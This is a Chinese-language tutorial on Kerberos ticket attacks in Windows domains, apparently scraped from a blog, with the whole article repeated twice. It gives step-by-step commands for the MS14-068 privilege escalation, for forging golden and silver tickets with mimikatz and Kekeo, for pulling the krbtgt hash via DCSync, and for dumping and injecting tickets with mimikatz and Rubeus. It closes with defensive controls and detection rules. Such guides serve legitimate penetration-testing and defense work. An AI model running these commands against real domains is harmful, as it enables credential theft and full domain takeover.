Kerberos票据攻击实战指南从原理到横向渗透的深度解析在当今企业内网安全防护体系中NTLM认证的局限性日益凸显越来越多的组织开始强制启用Kerberos协议作为主要认证方式。这种转变使得传统的哈希传递(PTH)攻击手段逐渐失效安全研究人员必须掌握更高级的票据传递(PTT)技术。本文将深入剖析Kerberos协议的安全边界系统讲解三种主流票据攻击手法的原理、实战操作与防御策略。1. Kerberos协议安全机制深度剖析Kerberos作为MIT开发的网络认证协议其名称来源于希腊神话中的三头犬象征着协议中客户端、KDC和服务端三方参与的认证过程。这套诞生于上世纪80年代的认证体系至今仍是Windows域环境中最核心的安全基础设施。**密钥分发中心(KDC)**作为Kerberos的核心组件通常部署在域控制器上包含两个关键服务认证服务(AS)负责验证用户初始身份发放票据授予票据(TGT)票据授予服务(TGS)基于TGT签发具体服务的访问票据(ST)完整的Kerberos认证流程包含六个关键步骤客户端向AS发送认证请求(AS-REQ)包含用户身份信息AS验证用户凭证后返回AS-REP包含用用户密钥加密的TGT会话密钥客户端使用TGT向TGS请求服务票据(TGS-REQ)TGS验证TGT后返回TGS-REP包含用服务密钥加密的ST会话密钥客户端使用ST向目标服务发起应用请求(AP-REQ)服务验证ST后建立会话(AP-REP)# Kerberos协议交互时序示例 Client - AS: AS-REQ(用户身份) AS - Client: AS-REP(加密TGT) Client - TGS: TGS-REQ(TGT, 服务信息) TGS - Client: TGS-REP(加密ST) Client - Service: AP-REQ(ST) Service - Client: AP-REP(确认)Kerberos协议设计中存在几个关键安全假设TGT的有效期默认10小时可续期至7天票据加密密钥仅由KDC和服务知晓时间同步要求严格通常不超过5分钟偏差服务票据绑定特定服务实例这些设计特性使得Kerberos在理论上比NTLM更安全但实际实现中的各种疏漏却为攻击者留下了可乘之机。2. MS14-068漏洞利用全解析CVE-2014-6324MS14-068是Kerberos协议实现中的经典漏洞影响Windows Server 2003至2012 R2的所有版本。该漏洞允许普通域用户伪造特权TGT票据直接提升至域管理员权限。2.1 漏洞原理深度分析漏洞根源在于KDC对PAC特权属性证书的验证缺陷。PAC是微软扩展中包含用户权限信息的结构体正常情况下应由KDC签名。攻击者可以构造包含虚假PAC的自签名TGT利用KDC签名验证绕过漏洞获取包含域管理员权限的有效TGT# PAC结构简化示意 class PAC_INFO_BUFFER: ulType: int # PAC元素类型 cbBufferSize: int # 数据大小 Offset: int # 数据偏移 class PAC: cBuffers: int # 元素数量 Version: int # 版本号 Buffers: List[PAC_INFO_BUFFER] # 元素数组 Data: bytes # 实际数据2.2 实战利用步骤详解环境准备未打补丁的域控制器KB3011780修复此漏洞普通域用户凭据目标域控制器的IP和域名操作流程获取当前用户SIDwhoami /user使用PyKEK工具生成伪造票据ms14-068.exe -u userdomain.com -s S-1-5-21-... -d dc.domain.com -p password使用mimikatz注入票据mimikatz.exe kerberos::ptc TGT_userdomain.com.ccache exit验证域控访问权限dir \\dc.domain.com\c$注意现代Windows环境通常已修复此漏洞测试前需确认目标补丁状态。该技术更适合老旧系统渗透测试。3. Kekeo工具链的进阶应用当MS14-068漏洞不可用时Kekeo提供了基于已知哈希生成合法票据的替代方案。这套由法国安全研究员Benjamin Delpy开发的工具集能够与mimikatz完美配合实现高级Kerberos操作。3.1 黄金票据生成技术黄金票据攻击需要获取以下关键信息krbtgt账户的NTLM哈希域控SAM中域名及域SID要伪造的用户名通常为域管理员操作流程使用mimikatz提取krbtgt哈希mimikatz.exe lsadump::dcsync /domain:domain.com /user:krbtgt exit使用Kekeo生成黄金票据kekeo.exe tgt::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi exit注入票据并验证mimikatz.exe kerberos::ptt golden.kirbi exit dir \\dc.domain.com\c$技术限制需要域管理员权限获取krbtgt哈希票据有效期受Kerberos策略限制可能触发异常登录审计事件3.2 白银票据的精准打击与黄金票据不同白银票据针对特定服务生成不需要与KDC交互特性黄金票据白银票据所需哈希krbtgt账户服务账户KDC交互需要不需要影响范围整个域特定服务检测难度较高较低生成CIFS服务白银票据示例kekeo.exe tgs::silver /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:dc.domain.com /service:cifs /rc4:service_hash /ticket:silver.kirbi exit4. 票据导出与重用技术当直接哈希获取困难时攻击者可以收集系统中遗留的Kerberos票据进行横向移动。这种技术特别适合已攻陷主机曾与多台机器交互的环境。4.1 票据导出方法论高权限导出mimikatz.exe sekurlsa::tickets /export exit低权限导出需要SeTcbPrivilegeRubeus.exe dump /nowrap导出票据通常为.kirbi格式包含以下关键信息用户名和域名服务SPN加密类型和会话密钥有效期时间戳4.2 票据注入与过滤技巧使用mimikatz注入单个票据mimikatz.exe kerberos::ptt [0;12345]-2-0-40e10000-Userservice-DOMAIN.COM.kirbi exit使用Rubeus进行智能票据管理Rubeus.exe ptt /ticket:base64_encoded_ticket Rubeus.exe purge # 清除所有票据高级过滤技巧# 只注入域管理员票据 Get-ChildItem *.kirbi | Where-Object { $_ -match Administratorkrbtgt } | ForEach-Object { mimikatz.exe kerberos::ptt $_ exit }5. 防御体系构建与检测策略面对日益复杂的票据攻击企业需要构建多层防御体系预防性控制强制使用AES256加密类型非RC4定期轮换krbtgt账户密码每6个月启用Protected Users安全组限制域管理员登录范围检测性控制-- 监控异常票据请求 SELECT * FROM SecurityEvents WHERE EventID 4769 AND TicketEncryptionType ! 0x12 -- 非AES256 AND TicketOptions ! 0x40810000 -- 非正常请求标志响应措施即时吊销可疑票据klist purge重置相关账户凭据检查域控上的异常登录事件事件ID 4624分析KDC请求日志事件ID 4768-4771在企业安全实践中建议将Kerberos审计日志与SIEM系统集成建立以下典型攻击的特征检测规则异常票据请求频率短时间内大量TGT请求加密类型降级从AES降级为RC4的请求特权提升模式普通用户请求高权限服务票据时间异常非工作时间段的认证活动来源异常非常用IP地址的KDC交互通过深度理解Kerberos协议的工作原理和攻击手法安全团队可以更有效地防御内网横向移动威胁构建更强大的零信任安全体系。
Kerberos票据攻击全解析:从MS14-068到Kekeo,手把手教你玩转PTT横向移动
发布时间:2026/5/29 7:49:14
Kerberos票据攻击实战指南从原理到横向渗透的深度解析在当今企业内网安全防护体系中NTLM认证的局限性日益凸显越来越多的组织开始强制启用Kerberos协议作为主要认证方式。这种转变使得传统的哈希传递(PTH)攻击手段逐渐失效安全研究人员必须掌握更高级的票据传递(PTT)技术。本文将深入剖析Kerberos协议的安全边界系统讲解三种主流票据攻击手法的原理、实战操作与防御策略。1. Kerberos协议安全机制深度剖析Kerberos作为MIT开发的网络认证协议其名称来源于希腊神话中的三头犬象征着协议中客户端、KDC和服务端三方参与的认证过程。这套诞生于上世纪80年代的认证体系至今仍是Windows域环境中最核心的安全基础设施。**密钥分发中心(KDC)**作为Kerberos的核心组件通常部署在域控制器上包含两个关键服务认证服务(AS)负责验证用户初始身份发放票据授予票据(TGT)票据授予服务(TGS)基于TGT签发具体服务的访问票据(ST)完整的Kerberos认证流程包含六个关键步骤客户端向AS发送认证请求(AS-REQ)包含用户身份信息AS验证用户凭证后返回AS-REP包含用用户密钥加密的TGT会话密钥客户端使用TGT向TGS请求服务票据(TGS-REQ)TGS验证TGT后返回TGS-REP包含用服务密钥加密的ST会话密钥客户端使用ST向目标服务发起应用请求(AP-REQ)服务验证ST后建立会话(AP-REP)# Kerberos协议交互时序示例 Client - AS: AS-REQ(用户身份) AS - Client: AS-REP(加密TGT) Client - TGS: TGS-REQ(TGT, 服务信息) TGS - Client: TGS-REP(加密ST) Client - Service: AP-REQ(ST) Service - Client: AP-REP(确认)Kerberos协议设计中存在几个关键安全假设TGT的有效期默认10小时可续期至7天票据加密密钥仅由KDC和服务知晓时间同步要求严格通常不超过5分钟偏差服务票据绑定特定服务实例这些设计特性使得Kerberos在理论上比NTLM更安全但实际实现中的各种疏漏却为攻击者留下了可乘之机。2. MS14-068漏洞利用全解析CVE-2014-6324MS14-068是Kerberos协议实现中的经典漏洞影响Windows Server 2003至2012 R2的所有版本。该漏洞允许普通域用户伪造特权TGT票据直接提升至域管理员权限。2.1 漏洞原理深度分析漏洞根源在于KDC对PAC特权属性证书的验证缺陷。PAC是微软扩展中包含用户权限信息的结构体正常情况下应由KDC签名。攻击者可以构造包含虚假PAC的自签名TGT利用KDC签名验证绕过漏洞获取包含域管理员权限的有效TGT# PAC结构简化示意 class PAC_INFO_BUFFER: ulType: int # PAC元素类型 cbBufferSize: int # 数据大小 Offset: int # 数据偏移 class PAC: cBuffers: int # 元素数量 Version: int # 版本号 Buffers: List[PAC_INFO_BUFFER] # 元素数组 Data: bytes # 实际数据2.2 实战利用步骤详解环境准备未打补丁的域控制器KB3011780修复此漏洞普通域用户凭据目标域控制器的IP和域名操作流程获取当前用户SIDwhoami /user使用PyKEK工具生成伪造票据ms14-068.exe -u userdomain.com -s S-1-5-21-... -d dc.domain.com -p password使用mimikatz注入票据mimikatz.exe kerberos::ptc TGT_userdomain.com.ccache exit验证域控访问权限dir \\dc.domain.com\c$注意现代Windows环境通常已修复此漏洞测试前需确认目标补丁状态。该技术更适合老旧系统渗透测试。3. Kekeo工具链的进阶应用当MS14-068漏洞不可用时Kekeo提供了基于已知哈希生成合法票据的替代方案。这套由法国安全研究员Benjamin Delpy开发的工具集能够与mimikatz完美配合实现高级Kerberos操作。3.1 黄金票据生成技术黄金票据攻击需要获取以下关键信息krbtgt账户的NTLM哈希域控SAM中域名及域SID要伪造的用户名通常为域管理员操作流程使用mimikatz提取krbtgt哈希mimikatz.exe lsadump::dcsync /domain:domain.com /user:krbtgt exit使用Kekeo生成黄金票据kekeo.exe tgt::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi exit注入票据并验证mimikatz.exe kerberos::ptt golden.kirbi exit dir \\dc.domain.com\c$技术限制需要域管理员权限获取krbtgt哈希票据有效期受Kerberos策略限制可能触发异常登录审计事件3.2 白银票据的精准打击与黄金票据不同白银票据针对特定服务生成不需要与KDC交互特性黄金票据白银票据所需哈希krbtgt账户服务账户KDC交互需要不需要影响范围整个域特定服务检测难度较高较低生成CIFS服务白银票据示例kekeo.exe tgs::silver /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:dc.domain.com /service:cifs /rc4:service_hash /ticket:silver.kirbi exit4. 票据导出与重用技术当直接哈希获取困难时攻击者可以收集系统中遗留的Kerberos票据进行横向移动。这种技术特别适合已攻陷主机曾与多台机器交互的环境。4.1 票据导出方法论高权限导出mimikatz.exe sekurlsa::tickets /export exit低权限导出需要SeTcbPrivilegeRubeus.exe dump /nowrap导出票据通常为.kirbi格式包含以下关键信息用户名和域名服务SPN加密类型和会话密钥有效期时间戳4.2 票据注入与过滤技巧使用mimikatz注入单个票据mimikatz.exe kerberos::ptt [0;12345]-2-0-40e10000-Userservice-DOMAIN.COM.kirbi exit使用Rubeus进行智能票据管理Rubeus.exe ptt /ticket:base64_encoded_ticket Rubeus.exe purge # 清除所有票据高级过滤技巧# 只注入域管理员票据 Get-ChildItem *.kirbi | Where-Object { $_ -match Administratorkrbtgt } | ForEach-Object { mimikatz.exe kerberos::ptt $_ exit }5. 防御体系构建与检测策略面对日益复杂的票据攻击企业需要构建多层防御体系预防性控制强制使用AES256加密类型非RC4定期轮换krbtgt账户密码每6个月启用Protected Users安全组限制域管理员登录范围检测性控制-- 监控异常票据请求 SELECT * FROM SecurityEvents WHERE EventID 4769 AND TicketEncryptionType ! 0x12 -- 非AES256 AND TicketOptions ! 0x40810000 -- 非正常请求标志响应措施即时吊销可疑票据klist purge重置相关账户凭据检查域控上的异常登录事件事件ID 4624分析KDC请求日志事件ID 4768-4771在企业安全实践中建议将Kerberos审计日志与SIEM系统集成建立以下典型攻击的特征检测规则异常票据请求频率短时间内大量TGT请求加密类型降级从AES降级为RC4的请求特权提升模式普通用户请求高权限服务票据时间异常非工作时间段的认证活动来源异常非常用IP地址的KDC交互通过深度理解Kerberos协议的工作原理和攻击手法安全团队可以更有效地防御内网横向移动威胁构建更强大的零信任安全体系。